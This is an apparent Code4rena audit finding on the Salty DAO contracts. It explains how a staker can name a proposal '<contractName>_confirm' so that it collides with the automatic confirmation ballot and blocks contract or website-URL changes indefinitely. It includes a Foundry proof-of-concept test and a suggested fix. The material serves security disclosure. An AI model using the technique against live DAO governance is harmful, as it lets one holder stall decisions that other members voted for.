c4-bot-9 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/arbitrage/tests/ArbitrageGas.t.sol#L4

Vulnerability details

Description

To change the Website URL or a contract address, the DAO has to create two proposals.

The first proposal can be created by any SALT holder. Note how the ballotName is created.

function proposeSetContractAddress( string calldata contractName, address newAddress, string calldata description ) external nonReentrant returns (uint256 ballotID){
    require( newAddress != address(0), "Proposed address cannot be address(0)" );
    string memory ballotName = string.concat("setContract:", contractName );
    return _possiblyCreateProposal( ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description );
}

When the first proposal passes and is executed the DAO contract creates a confirmation proposal. Note that it concatenates the current ballot name with "_confirm" string to create the confirmation proposal.

function _executeApproval( Ballot memory ballot ) internal{
        ...
        else if ( ballot.ballotType == BallotType.SET_CONTRACT )
        proposals.createConfirmationProposal( string.concat(ballot.ballotName, "_confirm"), BallotType.CONFIRM_SET_CONTRACT, ballot.address1, "", ballot.description );

    // Once an initial setWebsiteURL proposal passes, it automatically starts a second confirmation ballot (to prevent last minute approvals)
    else if ( ballot.ballotType == BallotType.SET_WEBSITE_URL )
    proposals.createConfirmationProposal( string.concat(ballot.ballotName, "_confirm"), BallotType.CONFIRM_SET_WEBSITE_URL, address(0), ballot.string1, ballot.description );
        ...
}

When the confirmation proposal passes, the original change proposed by the first proposal can be made.

function _executeApproval( Ballot memory ballot ) internal{
        ...
    else if ( ballot.ballotType == BallotType.CONFIRM_SET_CONTRACT )
        _executeSetContract( ballot );

    else if ( ballot.ballotType == BallotType.CONFIRM_SET_WEBSITE_URL )
        _executeSetWebsiteURL( ballot );
}

When any proposal is created, there must not be a pending proposal with the same name.

function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID){
        ...
        require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
        ...
}

The set contract and website url ballot names are created with string.concat("setContract:", contractName ) and string.concat("setURL:", newWebsiteURL ) respectively.

The ballot names for the confirmation proposals are created by concatenating "_confirm" with the original ballot name, string.concat(ballot.ballotName, "_confirm").

The DAO cannot create a confirmation proposal if a proposal with the same name already exists. This will keep the original proposal stuck.

Any staker who is against the original proposal can keep it stuck by taking the ballotName of the original proposal, concatenating it with "_confirm" and creating a new proposal.

This creates a proposal with the same name as the future confirmation proposal and keeps the original proposal stuck.

If the DAO decides to vote against the rogue staker to remove his proposal, he can backrun the execution of the bad proposal with another proposal with the same ballotName as the bad proposal.

This allows a rogue staker to stop changes he doesn't like or even an attacker to permanently DOS website URL or smart contract changes.

Impact

Any staker against a website URL or contract change can stop it. An attacker can permanently DOS websiteURL changes o

Proof of Concept

The test can be run in DAO.t.sol.

    function testStopSetContractAddress() public {
        // setup
        vm.startPrank(alice);
        staking.stakeSALT( 1000000 ether );
        // create original proposal
        proposals.proposeSetContractAddress("priceFeed1", address(0x1231236 ), "" );
        proposals.castVote(1, Vote.YES);
        vm.stopPrank();

        // attacker setup
        vm.prank(DEPLOYER);
        salt.transfer( bob, 1000000 ether );
        // create bad proposal
        vm.startPrank(bob);
        salt.approve( address(staking), type(uint256).max );
        staking.stakeSALT( 1000000 ether );
        proposals.proposeSetContractAddress("priceFeed1_confirm", address(0x1 ), "" );
        vm.stopPrank();

        // Increase block time to allow original ballot finalize 
        vm.warp(block.timestamp + 11 days);
        // try finalizing ballot
        vm.expectRevert("Cannot create a proposal similar to a ballot that is still open");
        dao.finalizeBallot(1);
    }

Tools Used

Manual Analysis

Recommended Mitigation Steps

Check if original proposal ballot names end with "_confirm" string before creating them.

keccak256(bytes(bytes(contractName)[length-8:length])) == keccak256((bytes("_confirm")))

Assessed type

Governance